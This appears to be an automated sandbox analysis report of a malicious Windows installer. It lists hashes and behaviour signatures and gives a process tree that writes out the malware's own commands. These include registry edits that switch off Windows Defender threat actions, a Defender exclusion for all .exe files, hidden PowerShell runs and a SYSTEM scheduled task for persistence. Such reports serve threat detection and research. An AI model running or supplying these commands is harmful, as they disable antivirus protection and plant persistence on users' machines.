Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/06/2024, 01:29

General

  • Target

    f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe

  • Size

    7.3MB

  • MD5

    83ab65e8394b71b0c2e3572cafcf65ff

  • SHA1

    2d19be95abcb1671ef04a94be6d8e323233a4c46

  • SHA256

    f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70

  • SHA512

    1d9def8e34416b8c97ceb081a2b077975527b135a80f0fc35a5841ff3e77b985a4362ece1dde3982be04fdf9bc7c2b978a29591ff536f640d6340e918083d320

  • SSDEEP

    196608:91O0oHobW7/7VIUshVjifeR4yNwrGTvLqi5uFHUOS:3O5HoUTVShAOnyrGTDJ5uFDS

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe
    "C:\Users\Admin\AppData\Local\Temp\f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Users\Admin\AppData\Local\Temp\7zS2C3B.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Users\Admin\AppData\Local\Temp\7zS3302.tmp\Install.exe
        .\Install.exe /IwVludidZTK "385120" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3156
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4256
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1368
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:1436
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4720
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4960
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:3160
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3948
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3140
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:2684
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3796
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4412
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:5012
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3444
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:940
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5044
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:3320
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:632
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                        PID:4836
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          6⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2140
                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                            7⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2428
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 01:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS3302.tmp\Install.exe\" PP /CoBdidvAFo 385120 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4968
                    • C:\Windows\SysWOW64\forfiles.exe
                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
                      4⤵
                        PID:4436
                        • C:\Windows\SysWOW64\cmd.exe
                          /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
                          5⤵
                            PID:624
                            • \??\c:\windows\SysWOW64\schtasks.exe
                              schtasks /run /I /tn btZaCbGShXZoJDfvCg
                              6⤵
                                PID:4520
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 1036
                            4⤵
                            • Program crash
                            PID:4632
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1036 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
                      1⤵
                        PID:4052
                      • C:\Users\Admin\AppData\Local\Temp\7zS3302.tmp\Install.exe
                        C:\Users\Admin\AppData\Local\Temp\7zS3302.tmp\Install.exe PP /CoBdidvAFo 385120 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:3720
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                          2⤵
                            PID:5012
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                              3⤵
                                PID:3544
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  4⤵
                                    PID:4264
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                      5⤵
                                        PID:4688
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                    3⤵
                                      PID:4892
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        4⤵
                                          PID:3580
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                            5⤵
                                              PID:3536
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                          3⤵
                                            PID:3956
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              4⤵
                                                PID:3120
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                  5⤵
                                                    PID:2184
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                3⤵
                                                  PID:608
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    4⤵
                                                      PID:4944
                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                        5⤵
                                                          PID:1688
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                      3⤵
                                                        PID:1432
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          4⤵
                                                            PID:3672
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                              5⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1492
                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                6⤵
                                                                  PID:4316
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                          2⤵
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2032
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3948
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                4⤵
                                                                  PID:4260
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:4080
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:1276
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:4376
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:2168
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:2528
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:3956
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:3544
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:1384
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:4656
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:540
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:3612
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:2196
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:380
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:4520
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:4652
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:3320
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:2320
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3652
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:388
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1484
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1560
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2380
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:2348
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3828
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:1348
